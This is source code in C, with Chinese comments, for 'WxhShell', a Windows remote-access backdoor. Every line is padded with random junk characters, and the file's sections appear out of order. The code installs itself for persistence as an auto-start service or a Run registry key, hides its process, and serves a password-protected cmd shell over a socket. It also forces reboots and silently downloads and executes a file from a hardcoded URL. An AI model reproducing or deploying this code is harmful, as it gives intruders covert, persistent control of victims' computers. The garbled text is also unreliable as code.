    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5_ioJ   
    else { #u6ZCv7u  
    closesocket(wsh); +b6kU{  
    ExitThread(0); '9#h^.  
    } NHq*&xy  
    break; G/5]0]SO  
    } m;"dLUb  
  // 获取shell f1UGDC<p9  
  case 's': { &nEQ `3~F  
    CmdShell(wsh); by%k*y  
    closesocket(wsh); yu] nK-Y7S  
    ExitThread(0); H@pF3gh  
    break; +~]LvZtI_  
  } } X[wWH  
  // 退出 ia}V8i  
  case 'x': { |qTS{qQh{L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8q#Be1u<s2  
    CloseIt(wsh); - Ado-'aaS  
    break; 8st~ O  
    } ~g[<A?0=y  
  // 离开 8rA?X*|S!  
  case 'q': { V;-YM W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `jyBF  
    closesocket(wsh); pJ 7="n  
    WSACleanup(); >rb8A6  
    exit(1); 2pQdDbm  
    break; Jv9yy~  
        } W6[# q%o  
  } z?i{2Fz6  
  } X6g{qzHg_  
V}UYr Va#9  
  // 提示信息 !K$qh{n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `;fk,\8t%  
} =/jCDY  
  } z4 yV1  
c_YP#U  
  return; j? P=}_Ru  
} XKq}^M&gy  
<X,0\U!lL  
// shell模块句柄 8~")9w  
int CmdShell(SOCKET sock) R7xEE7p  
{ nd/.]"  
STARTUPINFO si; dNMz(~A[Y  
ZeroMemory(&si,sizeof(si)); Y"&1jud4xl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t*'U|K4L/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ei[>%Ah  
PROCESS_INFORMATION ProcessInfo; }yW*vy6`  
char cmdline[]="cmd"; b4HUgW3Ac  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N }tiaL4  
  return 0; rWo&I _{  
} J(JqusQd !  
^7 oXJu=  
// 自身启动模式 @ s2<y@  
int StartFromService(void) M:? :EJ  
{ [C"[#7  
typedef struct  H*]B7?S  
{ hRvj iK\  
  DWORD ExitStatus; 8P#jC$<  
  DWORD PebBaseAddress; DNN60NX 5Q  
  DWORD AffinityMask; ?g21U97Q  
  DWORD BasePriority; Y$SwQ;wl  
  ULONG UniqueProcessId; Z-D4~?Tv  
  ULONG InheritedFromUniqueProcessId; _;1H2o2f  
}   PROCESS_BASIC_INFORMATION; C_JDQByfL  
JM-rz#;1  
PROCNTQSIP NtQueryInformationProcess; L93KsI  
M(_1'2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }.j09[<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RC| t-(Z  
ZdP2}w  
  HANDLE             hProcess; -Ob89Z?2A  
  PROCESS_BASIC_INFORMATION pbi;  h7h[! >  
yj48GQP]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P}Ud7Vil;l  
  if(NULL == hInst ) return 0; >(aGk{e1  
jg_##Oha  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3LaqEj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /?,c4K,ap  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &XnbZ&_  
 %wYGI  
  if (!NtQueryInformationProcess) return 0; .s)z?31  
5#SD$^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~J Xqyw}  
  if(!hProcess) return 0; p+F{iMC  
g}\Yl.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oL2 a:\7  
'&.QW$B\B_  
  CloseHandle(hProcess); ATb[/=hP<R  
lB0: 4cIj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rfdT0xfcU  
if(hProcess==NULL) return 0; @}{~Ofs  
vQ/&iAyut  
HMODULE hMod; pg.z `k  
char procName[255]; 7fg +WZ  
unsigned long cbNeeded; 8 )w75+&  
\!["U`\.K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G/*0*&fW  
P ;#}@/E  
  CloseHandle(hProcess); Uu9*nH_  
&u_s*  
if(strstr(procName,"services")) return 1; // 以服务启动 UaQR0,#0y  
-m.SN>V  
  return 0; // 注册表启动 T!T6M6?  
} =h4* ^NJ  
RU1+ -   
// 主模块 \v'\ Ea~  
int StartWxhshell(LPSTR lpCmdLine) Q]q`+ Z65  
{ +H7lkbW  
  SOCKET wsl; _p~lL<q-K[  
BOOL val=TRUE; ;&N;6V"}  
  int port=0; ];.H]TIc6  
  struct sockaddr_in door; JDyP..Dt  
A{ :PpYs  
  if(wscfg.ws_autoins) Install(); )9L:^i6  
w1je|Oil  
port=atoi(lpCmdLine); Zljj  
`nxm<~-\  
if(port<=0) port=wscfg.ws_port; kAEm#oz=g  
=3Y:DPMB  
  WSADATA data; yX:*TK4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O+Zt*jN;  
39w|2%(O.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]0VjVU-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?~;8Y=O  
  door.sin_family = AF_INET; i9NUv3#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wq+6`o  
  door.sin_port = htons(port); ctv=8SFv(  
Q)7iu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SYPG.O?I  
closesocket(wsl); 26c,hPIeXY  
return 1; `@acQs;0  
} , 8NY<sFh  
Q.q'pJ-  
  if(listen(wsl,2) == INVALID_SOCKET) { ccUq!1  
closesocket(wsl); ?3Ytn+Py  
return 1; }4!R2c  
} ;_.%S*W\  
  Wxhshell(wsl); !z !R)6  
  WSACleanup(); Sc!{ o!9\  
qjsS2,wM  
return 0; ;'.[h*u~<  
0u]!C"VX  
} Xgge_`T9  
] Fx9!S  
// 以NT服务方式启动 -/>SdR$D7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 88)F-St  
{ io[$QTY  
DWORD   status = 0; z9k3@\7  
  DWORD   specificError = 0xfffffff; rKR2v (c  
!+;'kI2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X\r?g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nMK,g>wp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HMQi:s7%  
  serviceStatus.dwWin32ExitCode     = 0; q1Ja*=r  
  serviceStatus.dwServiceSpecificExitCode = 0; ?h;Zdv>`xz  
  serviceStatus.dwCheckPoint       = 0; o<*H!oyP\  
  serviceStatus.dwWaitHint       = 0; D0(%{S^  
fa7I6 i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pd99vq/  
  if (hServiceStatusHandle==0) return; w&eX)!  
vjy59m  
status = GetLastError(); yw|O,V<4N  
  if (status!=NO_ERROR) 3x=f}SO&  
{ <+1d'VQ2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3|=9aM^x^  
    serviceStatus.dwCheckPoint       = 0; n+Ia@ $|m  
    serviceStatus.dwWaitHint       = 0; n M +(  
    serviceStatus.dwWin32ExitCode     = status; ]UR@V;JG  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pg]&^d&$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]ov>VF,<  
    return;  vO 85h  
  } : Gp,d*M  
f$G{7%9*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T+_pmDDN  
  serviceStatus.dwCheckPoint       = 0; STDT]3.  
  serviceStatus.dwWaitHint       = 0; L'dR;T[;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (x{6N^J.t  
} - J9K  
'N?,UtG R  
// 处理NT服务事件,比如:启动、停止 >tfy\PY:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '%@fW:r~  
{ ,O[HX?>  
switch(fdwControl) jG"n);WF  
{ wI!>IV(5  
case SERVICE_CONTROL_STOP: ?U~9d"2=  
  serviceStatus.dwWin32ExitCode = 0; <P)vx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K,7IBv,B[  
  serviceStatus.dwCheckPoint   = 0; /8\gT(@  
  serviceStatus.dwWaitHint     = 0; xef@-%mcoy  
  { 50 :gk*hy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;aJBx  
  } nE!h&}(  
  return; (nWi9(}J  
case SERVICE_CONTROL_PAUSE: A.a UWh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E2M|b  
  break; @Sxb}XI!f  
case SERVICE_CONTROL_CONTINUE: 86c@Kk7z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8+ P)V4}  
  break; >z'kCv  
case SERVICE_CONTROL_INTERROGATE: a?4'',~  
  break; Nwu,:}T  
}; }g1V6 `8&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %#!`>S)O  
} Mqu>#lL  
EV}c,*);y  
// 标准应用程序主函数 K !&{k94  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F ] e]  
{ h|^RM*x  
Zi&qa+F  
// 获取操作系统版本 Nf.6:=  
OsIsNt=GetOsVer(); 'l+).},  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cNi)[2o7  
M_wqb'=  
  // 从命令行安装 {H FF|Dx  
  if(strpbrk(lpCmdLine,"iI")) Install(); O?<R.W<QI  
oxN~(H)/ #  
  // 下载执行文件 ['p%$4i$  
if(wscfg.ws_downexe) { %SW"{GnO ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V87?J w%2  
  WinExec(wscfg.ws_filenam,SW_HIDE); p>w{.hC@  
} M_-LI4>  
M=Y}w?  
if(!OsIsNt) { DH(Q md  
// 如果时win9x,隐藏进程并且设置为注册表启动 V=)0{7-9  
HideProc(); DYS|"tSk  
StartWxhshell(lpCmdLine); A=LyN$ %  
} %A@Q%l6  
else XH_XGzBQS  
  if(StartFromService()) 5$kv,%ah  
  // 以服务方式启动 AS;EO[Vn  
  StartServiceCtrlDispatcher(DispatchTable); 1&S34wJF  
else 95Q{d'&  
  // 普通方式启动 da c?b (  
  StartWxhshell(lpCmdLine); 9[<,49  
6#egy|("nF  
return 0; 5^"T `,${  
} }!tJ3G  
`m N*"1p-  
=|lw~CW  
|P{K\;-  
=========================================== A^/$ |@  
4CR.=  
{0J TN%e  
9,h'cf`F  
:JBvCyj4PE  
Qqt<  
" %nU8 Ca  
9.F+)y@  
#include <stdio.h> s bf\;_!  
#include <string.h> *h=|KOS  
#include <windows.h> >Qk4AMIO  
#include <winsock2.h> K8,fw-S%  
#include <winsvc.h> e K%~`Y  
#include <urlmon.h> 9cJzL"yi  
]s3U+t?  
#pragma comment (lib, "Ws2_32.lib") u="VJ3  
#pragma comment (lib, "urlmon.lib") 9EryHV|  
y/!h.[  
#define MAX_USER   100 // 最大客户端连接数 a@[y)xa$Z  
#define BUF_SOCK   200 // sock buffer  EAVB:gE  
#define KEY_BUFF   255 // 输入 buffer Tv d=EO  
oz!;sj{,D  
#define REBOOT     0   // 重启 EZ+_*_9  
#define SHUTDOWN   1   // 关机 GEr]zMYG[A  
P'^#I[G'  
#define DEF_PORT   5000 // 监听端口 m"MTw@}SJ;  
9(.P2yO  
#define REG_LEN     16   // 注册表键长度 Za+26#g  
#define SVC_LEN     80   // NT服务名长度 -"u9s[L{  
;Drt4fOxX  
// 从dll定义API -p|@Enn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Rq|F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jf<+VJ>t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (A.%q1h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <"|BuK  
~HbZRDcJc  
// wxhshell配置信息 O2[uN@nY  
struct WSCFG { ekB!d  
  int ws_port;         // 监听端口 >P7|-bV  
  char ws_passstr[REG_LEN]; // 口令 P4vW.|@  
  int ws_autoins;       // 安装标记, 1=yes 0=no [[{y?-U  
  char ws_regname[REG_LEN]; // 注册表键名 H-gq0+,yE  
  char ws_svcname[REG_LEN]; // 服务名 JFw<Po,MEa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k_)H$*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^rd]qii"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &%QtUPvr9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ISy\g`d`C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &5fM8 Opkd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vi+k#KE  
92}UP=RW!  
}; :Gyv%> .  
$7q'Be@{  
// default Wxhshell configuration \IZfp=On  
struct WSCFG wscfg={DEF_PORT, !C&!Wj  
    "xuhuanlingzhe", A;~u"g'z&  
    1, @/6cEiC+r\  
    "Wxhshell", Go>_4)jy  
    "Wxhshell", k(>hboR5n  
            "WxhShell Service", !b<c*J?f  
    "Wrsky Windows CmdShell Service", !o.l:Mr  
    "Please Input Your Password: ", !^ko"^p  
  1, ZU%7m_zO  
  "http://www.wrsky.com/wxhshell.exe", (/J$2V5-  
  "Wxhshell.exe" 86J7%;^Xa  
    }; 5;=,BWU  
I2JE@?  
// 消息定义模块 ?(Dk{-:T'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RC5b'+E&#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t\2Lo7[Pu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1n7tmRl  
char *msg_ws_ext="\n\rExit."; qV57P6<  
char *msg_ws_end="\n\rQuit."; x%kS:!  
char *msg_ws_boot="\n\rReboot..."; tA?P$5?-*  
char *msg_ws_poff="\n\rShutdown..."; +(d\`{A  
char *msg_ws_down="\n\rSave to "; <<>?`7N  
Q>y2C8rnJ/  
char *msg_ws_err="\n\rErr!"; 9;3f`DK@2k  
char *msg_ws_ok="\n\rOK!"; [([?+Ouy  
:( A5 ,$  
char ExeFile[MAX_PATH]; S?.2V@Ic  
int nUser = 0; !Kv.v7'N/k  
HANDLE handles[MAX_USER]; yQ)y#5/<6  
int OsIsNt; wTBp=)1)f  
q7-Eu4w  
SERVICE_STATUS       serviceStatus; I>X_j)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \D8d!gr  
K9Dxb  
// 函数声明 $N[-ks2 {@  
int Install(void); Y$8 >fv  
int Uninstall(void); 3RpDIl`0  
int DownloadFile(char *sURL, SOCKET wsh); ~Ein)5  
int Boot(int flag); lxTW1kr  
void HideProc(void); Z IfhC'  
int GetOsVer(void); DJSSc  
int Wxhshell(SOCKET wsl); 3DRXao  
void TalkWithClient(void *cs); AtNu:U$  
int CmdShell(SOCKET sock); e-Z+)4fH  
int StartFromService(void); [G{{f  
int StartWxhshell(LPSTR lpCmdLine); FilHpnQCt  
W.h6g8|wx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CA[-\>J7y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NNC@?A7  
PE1F3u>O  
// 数据结构和表定义 hz8Y2Ew  
SERVICE_TABLE_ENTRY DispatchTable[] = >/;V_(  
{ n m4+$GW   
{wscfg.ws_svcname, NTServiceMain}, F-%wOn /  
{NULL, NULL} l%h0x*?$  
}; ;c"T#CH.  
eaQ)r?M  
// 自我安装 ]Auk5M+  
int Install(void) aaf\%~  
{ aL@myq.  
  char svExeFile[MAX_PATH]; :| J' HCth  
  HKEY key; b;#Z/phix  
  strcpy(svExeFile,ExeFile); mjUln8Jc  
wJA`e)>  
// 如果是win9x系统,修改注册表设为自启动 DZGM4|@<7Y  
if(!OsIsNt) { -E1b5i;f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O)|{B>2r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &d]%b`EXq  
  RegCloseKey(key); +rS}f N$L.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lb3:#?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L{xCsJ3d  
  RegCloseKey(key); }9[E+8L1  
  return 0; \ 4y7!   
    } wowv>!N!X-  
  } p(/PG+  
} ]8*#%^  
else { XiE  
L~fx VdUz  
// 如果是NT以上系统,安装为系统服务 w[Ee#Yaj.-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zrYhx!@  
if (schSCManager!=0) bY:A7.p7#  
{ E/@w6uIK[  
  SC_HANDLE schService = CreateService C5;=!B  
  ( \O 9j+L"  
  schSCManager, 7a.$tT  
  wscfg.ws_svcname, >h>X/a(=~  
  wscfg.ws_svcdisp, !kZ9Ox9^  
  SERVICE_ALL_ACCESS,  }6SfI;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f Co-ony  
  SERVICE_AUTO_START, Ht,_<zP;  
  SERVICE_ERROR_NORMAL, _y{z%-  
  svExeFile, wS"[m>.{v  
  NULL, hmJ{'D1"  
  NULL, &U:bRzD  
  NULL, 0,*clvH\;  
  NULL, p$dVGvM(  
  NULL T% J;~|  
  ); k4iu`m@^H  
  if (schService!=0) +u;f]p  
  { CHp`4  
  CloseServiceHandle(schService); ZaQg SE>Y  
  CloseServiceHandle(schSCManager); :X-Z|Pv8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fl\X&6k  
  strcat(svExeFile,wscfg.ws_svcname); +grIw# j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FHWzwi*u}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T4n.C~  
  RegCloseKey(key); !$r4 lu  
  return 0; a=bP   
    } ~`M>&E@Y_/  
  } (h>Jz  
  CloseServiceHandle(schSCManager); WvVHSa4{  
} .RocENO0  
} N8.K[m  
dOPA0Ja  
return 1; WoGK05w  
} W,~s0a!  
'3S S%W  
// 自我卸载 u*u>F@C8  
int Uninstall(void) ^mr#t #[e  
{ F;p>bw  
  HKEY key; DIO @Zo  
Q*|O9vu'D  
if(!OsIsNt) { SiJ0r @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J9J[.6k8  
  RegDeleteValue(key,wscfg.ws_regname); /HR9(j6  
  RegCloseKey(key); Z(LDAZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VP^Yph 8R  
  RegDeleteValue(key,wscfg.ws_regname); "4N%I  
  RegCloseKey(key); .),%S}  
  return 0; W!B4~L  
  } Z}_{@|  
} w5uOi}T\  
} b'Cy!dr  
else {  |/K+tH  
$#ks`$v M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +tFm DDx=  
if (schSCManager!=0) JF7n|o-`?  
{ \5UwZx\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WS6pm6@A*!  
  if (schService!=0) z[:UPPbW  
  { ;n?72&h  
  if(DeleteService(schService)!=0) { W70J2  
  CloseServiceHandle(schService); #q.Q tDz  
  CloseServiceHandle(schSCManager); gbNPD*7g9  
  return 0; n]I_ LlbY  
  } IxC/X5Mp^q  
  CloseServiceHandle(schService); (,$ H!qKy  
  } DueQ1+ P  
  CloseServiceHandle(schSCManager); 2Wz/s 0`  
} Hm2}xnY  
} 41 sClC"  
~J1;Z0}#  
return 1; |0:&d w?*!  
} jSbO1go#  
.&d]7@!qy  
// 从指定url下载文件 z7V74hRPX  
int DownloadFile(char *sURL, SOCKET wsh) pnin;;D*  
{ 3f9J! B`n  
  HRESULT hr; h _6QVab@  
char seps[]= "/"; #iD5& klo\  
char *token; UKyOkuY:w  
char *file; rQT@:$ )  
char myURL[MAX_PATH]; Hb5^+.xur  
char myFILE[MAX_PATH]; V#jFjObTN  
{'dpRq{c|  
strcpy(myURL,sURL); |aef$f5  
  token=strtok(myURL,seps); rqk1 F~j|  
  while(token!=NULL) ^yDCX  
  { a.)Gd]}g  
    file=token; lO},fM2j  
  token=strtok(NULL,seps); Omo1p(y  
  } i-!Z/,oL  
sxM0c  
GetCurrentDirectory(MAX_PATH,myFILE); ]F5?>du@~  
strcat(myFILE, "\\"); ##VS%&{  
strcat(myFILE, file); g+8{{o=  
  send(wsh,myFILE,strlen(myFILE),0); yv| |:wZC  
send(wsh,"...",3,0); $(v1q[ig  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B6~a `~"  
  if(hr==S_OK) lVY`^pw?  
return 0; !fF1tW  
else D-*`b&i48  
return 1; S8;Dk@rr(y  
") kE 1D%  
} clK3kBh~&  
C!xqp   
// 系统电源模块 Z#.J>_u )  
int Boot(int flag) }8cL+JJU  
{ ,[enGw  
  HANDLE hToken; [O*5\&6  
  TOKEN_PRIVILEGES tkp; \(Z'@5vC  
g/ONr,l`-  
  if(OsIsNt) { +@D [%l|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SPKGbp&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ hwJjSZ0  
    tkp.PrivilegeCount = 1; O57n<J'6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =fa!"$J3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HU ]Yv+3   
if(flag==REBOOT) { g2L^cP>2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vy W/f  
  return 0; 1zNH[   
} # JHicx\8l  
else { zOA{S~>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nWpqAb  
  return 0; /h'V1zL#  
} k&|L"N|w  
  } qk~ni8  
  else { JmB7tRM8  
if(flag==REBOOT) { mmP>Ji  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FC<aX[~&3  
  return 0; ;taTdzR_  
} xe}d&  
else { <+D(GH};  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pk2OZ,14Mj  
  return 0; E/x``,k  
} V 9Bi2\s*  
} _?Zg$7VJ  
HJ[@;F|aU  
return 1; Y6L_ _ RT  
} |&Gm.[IX;q  
xI?%.Z;*+  
// win9x进程隐藏模块 x5\C MWW  
void HideProc(void) )G6{JL-I  
{ UD1R _bL}  
~oO>6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xaQ]Vjw  
  if ( hKernel != NULL ) " O1\]"j  
  { 27q 9zi!Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R}lS@w1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B-`d7c5  
    FreeLibrary(hKernel); o= VzVg  
  } E O^j,x g  
FbB^$ ]*  
return; h-u63b1"?  
}  m~"<k d  
cLl=?^DB  
// 获取操作系统版本 K#q1/2  
int GetOsVer(void) _jt>%v4}4  
{ 5X>b(`  
  OSVERSIONINFO winfo; V+My]9ki  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $%9.qy\8  
  GetVersionEx(&winfo); EJ7}h?a]U_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^eke,,~  
  return 1; L+y}hb r  
  else &P 'cf|KI  
  return 0; (VeX[*}I  
} b 'p0T1K(  
4PG]L`J{  
// 客户端句柄模块 \fG?j@Qx  
int Wxhshell(SOCKET wsl) Htd-E^/  
{ KhK:%1po  
  SOCKET wsh; Gkci_A*  
  struct sockaddr_in client; sd|5oz )  
  DWORD myID; kj_ o I5<'  
 =`fJ  
  while(nUser<MAX_USER) -_&"Q4FR;+  
{  5,  
  int nSize=sizeof(client); ?K]Cs&E4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'J(rIH3U  
  if(wsh==INVALID_SOCKET) return 1; $<R\|_6J  
M6J~%qF^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $g? ]9}p  
if(handles[nUser]==0) :D(4HXHK%  
  closesocket(wsh); le1  
else \q9wo*A  
  nUser++; Y'tPD#|r  
  } {&Kck>C'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i?" ~g!A  
,e\'Y!'  
  return 0; .$nQD.X  
} zzlV((8 ~  
A2 'W  
// 关闭 socket :^~I@)"ov  
void CloseIt(SOCKET wsh) +[386  
{ 7,0^|P  
closesocket(wsh); G&qO{" Js  
nUser--; .f)&;Af^  
ExitThread(0); [JI>e;l C:  
} 1b*Me'  
j >f  
// 客户端请求句柄 [-}LEH1[p  
void TalkWithClient(void *cs) 8Mx+tA  
{ v%gkQa  
9z>I&vcX  
  SOCKET wsh=(SOCKET)cs; :&*Y Io  
  char pwd[SVC_LEN]; =[]V$<G'w{  
  char cmd[KEY_BUFF]; @'UbTB!  
char chr[1]; YC(7k7  
int i,j; pW{Q%"W  
O  |45r   
  while (nUser < MAX_USER) { ?U+^ctwv7  
{C+blzh6  
if(wscfg.ws_passstr) { Wtl/xA_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zj,1)ii  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 37C'knW  
  //ZeroMemory(pwd,KEY_BUFF); r@e/<bz9  
      i=0; hp ?4w),  
  while(i<SVC_LEN) { @~t^zI1  
1Pya\To,m  
  // 设置超时 _:(RkS!x  
  fd_set FdRead; OR84/^>  
  struct timeval TimeOut; 2% ],0,o  
  FD_ZERO(&FdRead); @PH`Wn#S  
  FD_SET(wsh,&FdRead); Ht >5R  
  TimeOut.tv_sec=8; KO*# ^+g  
  TimeOut.tv_usec=0; z$#q'+$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5q<cZ)v#&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NX wthc3  
\YXzq<7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tOUpK20q.@  
  pwd=chr[0]; |qUi9#NUo  
  if(chr[0]==0xd || chr[0]==0xa) { 25e*W>SLw  
  pwd=0; OH.lAF4E(  
  break; 'OrGt_U  
  } 7 'T3W c  
  i++; (i..7B:  
    } ylFoYROO  
\gz(C`4{j  
  // 如果是非法用户,关闭 socket ..FEyf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9i9'Rd`g  
} S*"uXTS  
m |Isi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jh7-Fl`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I8ZBs0sfF{  
zG IxmJ.  
while(1) { ANIx0*Yl(  
Ax"]+pb  
  ZeroMemory(cmd,KEY_BUFF); @4)NxdOE  
>* Ag0.Az  
      // 自动支持客户端 telnet标准   !U 6q;' )-  
  j=0; %5g(|Y]  
  while(j<KEY_BUFF) { S10"yhn(-t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :%&|5Ytb  
  cmd[j]=chr[0]; )P13AfK  
  if(chr[0]==0xa || chr[0]==0xd) { j p"hbV  
  cmd[j]=0; \kN?7b^  
  break; d_7v1)j  
  } "2l$}G  
  j++; "Zh3,  
    } P8& BtA  
|DUWB;  
  // 下载文件 uU$YN-  
  if(strstr(cmd,"http://")) { #)3luf3G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HB|R1<t;HB  
  if(DownloadFile(cmd,wsh)) 7~zd % o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |B{@noGX  
  else fBj-R~;0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %P8*Az&]T  
  } %XC3V7  
  else { WilKC|R]P  
Zk:Kux[7  
    switch(cmd[0]) { OrC}WMhd  
  *JD-|m K  
  // 帮助 If>bE!_BO  
